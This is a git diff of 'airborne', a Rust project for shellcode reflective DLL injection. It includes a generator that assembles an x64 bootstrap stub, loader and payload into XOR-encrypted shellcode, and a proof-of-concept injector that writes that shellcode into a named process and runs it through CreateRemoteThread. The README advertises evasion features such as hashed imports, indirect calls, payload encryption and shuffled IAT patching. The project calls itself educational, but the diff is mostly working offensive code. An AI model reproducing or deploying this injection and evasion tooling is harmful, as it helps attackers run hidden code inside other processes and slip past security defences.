Compare commits

..

No commits in common. "4a6aff2a34a9f93c7440090ed23045d99484cda4" and "567e36a9f38e42752a70ff77b5b5c7d1b9db07cf" have entirely different histories.

16 changed files with 312 additions and 410 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 213 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 214 KiB

70
Cargo.lock generated
View File

@ -3,7 +3,41 @@
version = 3 version = 3
[[package]] [[package]]
name = "airborne-common" name = "airborne-generator"
version = "0.1.0"
dependencies = [
"airborne-utils",
"clap",
"rand",
"windows-sys",
]
[[package]]
name = "airborne-injector"
version = "0.1.0"
dependencies = [
"airborne-utils",
"lexopt",
"windows-sys",
]
[[package]]
name = "airborne-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "airborne-reflective_loader"
version = "0.1.0"
dependencies = [
"airborne-utils",
"windows-sys",
]
[[package]]
name = "airborne-utils"
version = "0.1.0" version = "0.1.0"
[[package]] [[package]]
@ -106,16 +140,6 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
[[package]]
name = "generator"
version = "0.1.0"
dependencies = [
"airborne-common",
"clap",
"rand",
"windows-sys",
]
[[package]] [[package]]
name = "getrandom" name = "getrandom"
version = "0.2.12" version = "0.2.12"
@ -145,22 +169,6 @@ version = "0.2.152"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
[[package]]
name = "poc-injector"
version = "0.1.0"
dependencies = [
"airborne-common",
"lexopt",
"windows-sys",
]
[[package]]
name = "poc-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]] [[package]]
name = "ppv-lite86" name = "ppv-lite86"
version = "0.2.17" version = "0.2.17"
@ -215,14 +223,6 @@ dependencies = [
"getrandom", "getrandom",
] ]
[[package]]
name = "reflective-loader"
version = "0.1.0"
dependencies = [
"airborne-common",
"windows-sys",
]
[[package]] [[package]]
name = "strsim" name = "strsim"
version = "0.10.0" version = "0.10.0"

View File

@ -6,7 +6,7 @@ members = [
"payload", "payload",
"generator", "generator",
"reflective_loader", "reflective_loader",
"common" "utils"
] ]
[profile.release] [profile.release]

View File

@ -9,55 +9,30 @@ Reflective DLL injection demo for fun and education. In practical applications,
```shell ```shell
. .
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data) ├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
├── injector # PoC injector (CreateRemoteThread) ├── injector # PoC injector
├── payload # PoC payload (calc.exe or MessageBoxW based on generator's flag) ├── payload # PoC payload (DllMain and PrintMessage)
├── reflective_loader # sRDI implementation └── reflective_loader # sRDI implementation
└── common # Common XOR and hashing functions
``` ```
### Features ### Features
- ~14 kB reflective loader - Compact filesize (~14 kB)
- Hashed import names & indirect function calls - Hashed import names & indirect function calls
- XOR encrypted payload shellcode - Randomized payload export iteration & IAT patching
- Shuffled and delayed IDT iteration (during IAT patching) - XOR encryption for shellcode (shellcode generation specific keys)
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
### Usage ### Usage
The following command compiles the DLLs and executables into `target/release/`: The following command compiles the DLLs and executables into `target`:
```shell ```shell
$ cargo build --release $ cargo build --release
``` ```
1. Generate shellcode containing the loader and the payload: 1. Generate shellcode containing the loader and the payload
2. Inject the created shellcode into target
```
Usage: generator.exe [OPTIONS] --loader <LOADER_PATH> --payload <PAYLOAD_PATH> --function <FUNCTION_NAME> --parameter <PARAMETER> --output <OUTPUT_PATH>
Options:
-l, --loader <LOADER_PATH> Path to the sRDI loader DLL
-p, --payload <PAYLOAD_PATH> Path to the payload DLL
-f, --function <FUNCTION_NAME> Name of the function to call in the payload DLL
-n, --parameter <PARAMETER> Parameter to pass to the function
-o, --output <OUTPUT_PATH> Path to the output file
--flag <FLAG> Flag to pass to the loader (by default DllMain is called) [default: 0]
-h, --help Print help
-V, --version Print version
```
2. Inject the created shellcode into target:
```
Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>
```
3. Depending on the flag passed to the generator, either `DllMain` with `DLL_PROCESS_ATTACH` or user function with custom parameter is called:
<div align="center">
<img src=".github/docs/dllmain-exec.png" alt="Payload's DllMain execution with the default flag (0)" width="90%">
<img src=".github/docs/userfunction-exec.png" alt="Payload's user defined function execution with the modified flag (1)" width="90%">
</div>
### Disclaimer ### Disclaimer

View File

@ -1,12 +1,12 @@
[package] [package]
name = "generator" name = "airborne-generator"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
clap = {version = "4.4.18", features = ["derive"] } clap = {version = "4.4.18", features = ["derive"] }
rand = "0.8.5" rand = "0.8.5"
airborne-common = { path = "../common" } airborne-utils = { path = "../utils" }
[dependencies.windows-sys] [dependencies.windows-sys]
version = "0.52.0" version = "0.52.0"

View File

@ -1,10 +1,7 @@
use std::{ use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
collections::BTreeMap, error::Error, ffi::CStr, fs, path::PathBuf, process::exit,
slice::from_raw_parts,
};
use airborne_common::calc_hash; use airborne_utils::calc_hash;
use clap::{ArgAction, Parser}; use clap::Parser;
use windows_sys::Win32::{ use windows_sys::Win32::{
System::Diagnostics::Debug::IMAGE_NT_HEADERS64, System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
System::{ System::{
@ -31,15 +28,9 @@ struct Args {
/// Path to the output file /// Path to the output file
#[arg(short, long = "output")] #[arg(short, long = "output")]
output_path: PathBuf, output_path: PathBuf,
/// Disable randomized delays during IAT patching /// Flag to pass to the loader (by default DllMain is called)
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)] #[arg(short, long, default_value_t = 0)]
no_delay: bool, flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
/// Disable IAT import descriptor shuffling
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
no_shuffle: bool,
/// Call payload's user defined function instead of DllMain
#[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)]
ufn: bool,
} }
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified // NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
@ -49,13 +40,9 @@ const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
fn main() { fn main() {
let args = Args::parse(); let args = Args::parse();
// (bool, bool, bool) -(OR)-> u32
let combined_flag = airborne_common::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn);
// preserve the path from being dropped // preserve the path from being dropped
let output_path = args.output_path.clone(); let output_path = args.output_path.clone();
// prepare paths for pretty printing
let loader_path_str = args.loader_path.to_str().unwrap(); let loader_path_str = args.loader_path.to_str().unwrap();
let payload_path_str = args.payload_path.to_str().unwrap(); let payload_path_str = args.payload_path.to_str().unwrap();
let output_path_str = args.output_path.to_str().unwrap(); let output_path_str = args.output_path.to_str().unwrap();
@ -64,66 +51,29 @@ fn main() {
println!("[+] payload: {}", payload_path_str); println!("[+] payload: {}", payload_path_str);
println!("[+] output: {}", output_path_str); println!("[+] output: {}", output_path_str);
let mut loader_b = match fs::read(args.loader_path) { let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
Ok(b) => b, let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
Err(e) => {
eprintln!("[-] failed to read loader DLL: {}", e);
exit(1);
}
};
let mut payload_b = match fs::read(args.payload_path) {
Ok(b) => b,
Err(e) => {
eprintln!("[-] failed to read payload DLL: {}", e);
exit(1);
}
};
let function_hash = calc_hash(args.function_name.as_bytes()); let function_hash = calc_hash(args.function_name.as_bytes());
let mut shellcode = match gen_sc( let mut shellcode = gen_sc(
&mut loader_b, &mut loader_b,
&mut payload_b, &mut payload_b,
function_hash, function_hash,
args.parameter, args.parameter,
combined_flag, args.flag,
) { );
Ok(sc) => sc,
Err(e) => {
eprintln!("[-] failed to generate shellcode: {}", e);
exit(1);
}
};
println!("\n[+] xor'ing shellcode"); println!("\n[+] xor'ing shellcode");
let key = gen_xor_key(shellcode.len()); let key = gen_xor_key(shellcode.len());
airborne_common::xor_cipher(&mut shellcode, &key); airborne_utils::xor_cipher(&mut shellcode, &key);
let mut key_output_path = output_path.clone().into_os_string(); let mut key_output_path = output_path.clone().into_os_string();
key_output_path.push(".key"); key_output_path.push(".key");
// prepare path for pretty printing
let key_output_path_str = key_output_path.to_str().unwrap(); let key_output_path_str = key_output_path.to_str().unwrap();
println!( println!("\n[+] writing shellcode to '{}'", output_path_str);
"\n[+] writing shellcode to '{}' and xor key to '{}'", fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
output_path_str, key_output_path_str println!("[+] writing xor key to '{}'", key_output_path_str);
); fs::write(key_output_path, key).expect("failed to write xor key to output file");
match fs::write(output_path, shellcode) {
Ok(_) => (),
Err(e) => {
eprintln!("[-] failed to write shellcode to output file: {}", e);
exit(1);
}
};
match fs::write(key_output_path, key) {
Ok(_) => (),
Err(e) => {
eprintln!("[-] failed to write xor key to output file: {}", e);
exit(1);
}
};
} }
fn gen_sc( fn gen_sc(
@ -132,117 +82,159 @@ fn gen_sc(
function_hash: u32, function_hash: u32,
parameter: String, parameter: String,
flag: u32, flag: u32,
) -> Result<Vec<u8>, Box<dyn Error>> { ) -> Vec<u8> {
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)?; let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
.expect("failed to get loader entry point");
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize; let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
println!("[+] loader offset: {:#x}", loader_offset); println!("[+] loader offset: {:#x}", loader_offset);
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode // 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
// calculating little-endian representations of variables (flag, parameter length & offset,
// function hash, payload offset, loader address) beforehand
let mut bootstrap: Vec<u8> = Vec::new();
/*
1.) save the current location in memory for calculating offsets later
*/
// call 0x00 (this will push the address of the next function to the stack)
bootstrap.push(0xe8);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
bootstrap.push(0x59);
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
bootstrap.push(0x49);
bootstrap.push(0x89);
bootstrap.push(0xc8);
/*
2.) align the stack and create shadow space
*/
// push rsi - save original value
bootstrap.push(0x56);
// mov rsi, rsp - store our current stack pointer for later
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xe6);
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xe4);
bootstrap.push(0xf0);
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xec);
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
/*
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0x4C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0x6C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
bootstrap.push(0xC7);
bootstrap.push(0x44);
bootstrap.push(0x24);
bootstrap.push(5 * 8); // 6th arg
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
/*
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
bootstrap.push(0x41);
bootstrap.push(0xb9);
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
bootstrap.push(0x49);
bootstrap.push(0x81);
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
let parameter_offset = let parameter_offset =
BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32 + payload_b.len() as u32; (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
let payload_offset = BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32; bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
// 1.) save the current location in memory for calculating offsets later // mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
let b1: Vec<u8> = vec![ bootstrap.push(0xba);
0xe8, 0x00, 0x00, 0x00, 0x00, // call 0x00 bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
0x59, // pop rcx
0x49, 0x89, 0xc8, // mov r8, rcx
];
// 2.) align the stack and create shadow space // add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
let b2: Vec<u8> = vec![ bootstrap.push(0x48);
0x56, // push rsi bootstrap.push(0x81);
0x48, bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
0x89, let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
0xe6, // mov rsi, rsp bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
0x48,
0x83,
0xe4,
0xf0, // and rsp, 0x0FFFFFFFFFFFFFFF0
0x48,
0x83,
0xec,
6 * 8, // sub rsp, 0x30
];
// 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack /*
let b3: Vec<u8> = vec![ 5.) call the reflective loader
0x48, */
0x89,
0x4C,
0x24,
4 * 8, // mov qword ptr [rsp + 0x20], rcx
0x48,
0x83,
0x6C,
0x24,
4 * 8,
5, // sub qword ptr [rsp + 0x20], 0x5
0xC7,
0x44,
0x24,
5 * 8, // mov dword ptr [rsp + 0x28], <flag>
]
.into_iter()
.chain(flag.to_le_bytes().to_vec())
.collect();
// 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 // call <loader_offset> - call the reflective loader address after calculation
let b4: Vec<u8> = vec![0x41, 0xb9] bootstrap.push(0xe8);
.into_iter() let loader_address =
.chain((parameter.len() as u32).to_le_bytes().to_vec()) (BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
.chain(vec![ bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
0x49, 0x81, 0xc0, // add r8, <parameter_offset> + <payload_length>
])
.chain(parameter_offset.to_le_bytes().to_vec())
.chain(vec![
0xba, // mov edx, <prameter_hash>
])
.chain(function_hash.to_le_bytes().to_vec())
.chain(vec![
0x48, 0x81, 0xc1, // add rcx, <payload_offset>
])
.chain(payload_offset.to_le_bytes().to_vec())
.collect();
// 5.) call the reflective loader // padding
let bootstrap_len = b1.len() + b2.len() + b3.len() + b4.len() + 1; bootstrap.push(0x90);
let loader_addr = (BOOTSTRAP_TOTAL_LENGTH - bootstrap_len as u32 - 4) + loader_offset as u32; bootstrap.push(0x90);
let b5: Vec<u8> = vec![
0xe8, // call <loader_offset>
]
.into_iter()
.chain(loader_addr.to_le_bytes().to_vec())
.chain(vec![
0x90, 0x90, // padding
])
.collect();
// 6.) restore the stack and return to the original location (caller) /*
let b6: Vec<u8> = vec![ 6.) restore the stack and return to the original location (caller)
0x48, 0x89, 0xf4, // mov rsp, rsi */
0x5e, // pop rsi
0xc3, // ret
0x90, 0x90, // padding
];
let mut bootstrap: Vec<u8> = b1 // mov rsp, rsi - reset original stack pointer
.into_iter() bootstrap.push(0x48);
.chain(b2) bootstrap.push(0x89);
.chain(b3) bootstrap.push(0xf4);
.chain(b4)
.chain(b5) // pop rsi - put things back where they were left
.chain(b6) bootstrap.push(0x5e);
.collect();
// ret - return to caller and resume execution flow (avoids crashing process)
bootstrap.push(0xc3);
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize { if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
return Err("invalid bootstrap length".into()); panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
} else {
println!("[+] bootstrap size: {}", bootstrap.len());
} }
println!("[+] bootstrap size: {} bytes", bootstrap.len()); println!("[+] reflective loader size: {}", loader_b.len());
println!("[+] reflective loader size: {} kB", loader_b.len() / 1024); println!("[+] payload size: {}", payload_b.len());
println!("[+] payload size: {} kB", payload_b.len() / 1024);
let mut shellcode = Vec::new(); let mut shellcode = Vec::new();
@ -259,7 +251,7 @@ fn gen_sc(
- user data - user data
*/ */
println!("\n[+] total shellcode size: {} kB", shellcode.len() / 1024); println!("\n[+] total shellcode size: {}", shellcode.len());
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)"); println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
println!( println!(
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]" "[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
@ -273,7 +265,7 @@ fn gen_sc(
flag flag
); );
Ok(shellcode) shellcode
} }
fn gen_xor_key(keysize: usize) -> Vec<u8> { fn gen_xor_key(keysize: usize) -> Vec<u8> {
@ -286,64 +278,61 @@ fn gen_xor_key(keysize: usize) -> Vec<u8> {
key key
} }
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Result<*mut u8, Box<dyn Error>> { fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
for (e_name, addr) in unsafe { get_exports(base_ptr)? } { for (e_name, addr) in unsafe { get_exports(base_ptr) } {
if e_name == name { if e_name == name {
return Ok(addr as _); return Some(addr as _);
} }
} }
Err(format!("failed to find export by name: {}", name).into()) None
} }
unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<dyn Error>> { unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
let mut exports = BTreeMap::new(); let mut exports = BTreeMap::new();
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER; let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
return Err("failed to get DOS header for the export".into()); panic!("Failed to get DOS header");
} }
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _); let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
let export_dir_ptr = rva_to_offset( let export_dir_ptr = rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] (*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress, .VirtualAddress,
)? as *mut IMAGE_EXPORT_DIRECTORY; ) as *mut IMAGE_EXPORT_DIRECTORY;
let export_names = from_raw_parts( let export_names = from_raw_parts(
rva_to_offset( rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*export_dir_ptr).AddressOfNames, (*export_dir_ptr).AddressOfNames,
)? as *const u32, ) as *const u32,
(*export_dir_ptr).NumberOfNames as _, (*export_dir_ptr).NumberOfNames as _,
); );
let export_functions = from_raw_parts( let export_functions = from_raw_parts(
rva_to_offset( rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*export_dir_ptr).AddressOfFunctions, (*export_dir_ptr).AddressOfFunctions,
)? as *const u32, ) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _, (*export_dir_ptr).NumberOfFunctions as _,
); );
let export_ordinals = from_raw_parts( let export_ordinals = from_raw_parts(
rva_to_offset( rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*export_dir_ptr).AddressOfNameOrdinals, (*export_dir_ptr).AddressOfNameOrdinals,
)? as *const u16, ) as *const u16,
(*export_dir_ptr).NumberOfNames as _, (*export_dir_ptr).NumberOfNames as _,
); );
for i in 0..(*export_dir_ptr).NumberOfNames as usize { for i in 0..(*export_dir_ptr).NumberOfNames as usize {
let export_name = let export_name =
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i])? as *const i8; rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() { if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
let export_ordinal = export_ordinals[i] as usize; let export_ordinal = export_ordinals[i] as usize;
@ -353,23 +342,19 @@ unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
export_functions[export_ordinal], export_functions[export_ordinal],
)?, ),
); );
} }
} }
Ok(exports) exports
} }
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T { fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
(base_ptr as usize + rva) as *mut T (base_ptr as usize + rva) as *mut T
} }
unsafe fn rva_to_offset( unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
base: usize,
nt_header_ref: &IMAGE_NT_HEADERS64,
mut rva: u32,
) -> Result<usize, Box<dyn Error>> {
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>( let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&nt_header_ref.OptionalHeader as *const _ as _, &nt_header_ref.OptionalHeader as *const _ as _,
nt_header_ref.FileHeader.SizeOfOptionalHeader as _, nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
@ -386,9 +371,9 @@ unsafe fn rva_to_offset(
rva -= (*section_header_ptr.add(i)).VirtualAddress; rva -= (*section_header_ptr.add(i)).VirtualAddress;
rva += (*section_header_ptr.add(i)).PointerToRawData; rva += (*section_header_ptr.add(i)).PointerToRawData;
return Ok(base + rva as usize); return base + rva as usize;
} }
} }
Err(format!("failed to find section for RVA {:#x}", rva).into()) 0
} }

View File

@ -1,11 +1,11 @@
[package] [package]
name = "poc-injector" name = "airborne-injector"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
lexopt = "0.3.0" lexopt = "0.3.0"
airborne-common = { path = "../common" } airborne-utils = { path = "../utils" }
[dependencies.windows-sys] [dependencies.windows-sys]
version = "0.52.0" version = "0.52.0"

View File

@ -1,4 +1,4 @@
use std::{error::Error, mem::transmute, ptr::null_mut}; use std::{mem::transmute, ptr::null_mut};
use windows_sys::Win32::{ use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@ -9,13 +9,13 @@ use windows_sys::Win32::{
}, },
}; };
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> { pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
let dll_len = dll_vec.len(); let dll_len = dll_vec.len();
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE { if h_process == INVALID_HANDLE_VALUE {
return Err(format!("failed to open process {}", pid).into()); panic!("failed to open process");
} }
let base_addr_ptr = VirtualAllocEx( let base_addr_ptr = VirtualAllocEx(
@ -27,7 +27,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
); );
if base_addr_ptr.is_null() { if base_addr_ptr.is_null() {
return Err(format!("failed to allocate memory into process {}", pid).into()); panic!("failed to allocate memory");
} }
println!("[+] allocated memory at {:p}", base_addr_ptr); println!("[+] allocated memory at {:p}", base_addr_ptr);
@ -40,7 +40,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
null_mut(), null_mut(),
) == 0 ) == 0
{ {
return Err(format!("failed to write process memory into process {}", pid).into()); panic!("failed to write process memory");
} }
let h_thread = CreateRemoteThread( let h_thread = CreateRemoteThread(
@ -54,11 +54,9 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
); );
if h_thread == INVALID_HANDLE_VALUE { if h_thread == INVALID_HANDLE_VALUE {
return Err(format!("failed to create remote thread into process {}", pid).into()); panic!("failed to create remote thread");
} }
CloseHandle(h_thread); CloseHandle(h_thread);
CloseHandle(h_process); CloseHandle(h_process);
Ok(())
} }

View File

@ -15,51 +15,24 @@ struct Args {
fn main() { fn main() {
let args = parse_args(); let args = parse_args();
let proc_id = unsafe { let proc_id =
match process::iterate_procs(&args.procname) { unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
Ok(Some(pid)) => pid,
Ok(None) => {
println!("[!] process with name {} not found", args.procname);
exit(1);
}
Err(e) => {
println!("[!] error during process iteration: {}", e);
exit(1);
}
}
};
let mut shellcode = match fs::read(&args.shellcode_path) { let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
Ok(shellcode) => shellcode,
Err(e) => {
println!("[!] failed to read shellcode: {}", e);
exit(1);
}
};
let keyfile = match fs::read(&args.keyfile_path) {
Ok(keyfile) => keyfile,
Err(e) => {
println!("[!] failed to read xor keyfile: {}", e);
exit(1);
}
};
if args.offset >= shellcode.len() { if args.offset >= shellcode.len() {
println!("[!] offset is greater or equal than shellcode length"); println!("[!] offset is greater or equal than shellcode length");
exit(1); exit(1);
} }
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
println!("[+] xor'ing shellcode"); println!("[+] xor'ing shellcode");
airborne_common::xor_cipher(&mut shellcode, &keyfile); airborne_utils::xor_cipher(&mut shellcode, &keyfile);
println!("[+] injecting shellcode into {}", args.procname); println!("[+] injecting shellcode into {}", args.procname);
unsafe { unsafe { inject::inject(proc_id, shellcode) };
match inject::inject(proc_id, shellcode) {
Ok(_) => println!("[+] done"), println!("[+] done");
Err(e) => println!("[!] failure during injection: {}", e),
}
};
} }
fn parse_args() -> Args { fn parse_args() -> Args {
@ -112,5 +85,5 @@ fn parse_args() -> Args {
} }
fn print_usage() { fn print_usage() {
println!("Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>"); println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
} }

View File

@ -1,4 +1,4 @@
use std::{error::Error, ffi::CStr}; use std::ffi::CStr;
use windows_sys::Win32::{ use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@ -7,31 +7,31 @@ use windows_sys::Win32::{
}, },
}; };
fn snapshot() -> Result<isize, Box<dyn Error>> { fn snapshot() -> isize {
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
if snapshot == INVALID_HANDLE_VALUE { if snapshot == INVALID_HANDLE_VALUE {
return Err("failed to create toolhelp snapshot".into()); panic!("failed to create snapshot");
} }
Ok(snapshot) snapshot
} }
unsafe fn first_proc_entry(snapshot: isize) -> Result<PROCESSENTRY32, Box<dyn Error>> { unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
let mut pe: PROCESSENTRY32 = std::mem::zeroed(); let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _; pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
if Process32First(snapshot, &mut pe) == 0 { if Process32First(snapshot, &mut pe) == 0 {
CloseHandle(snapshot); CloseHandle(snapshot);
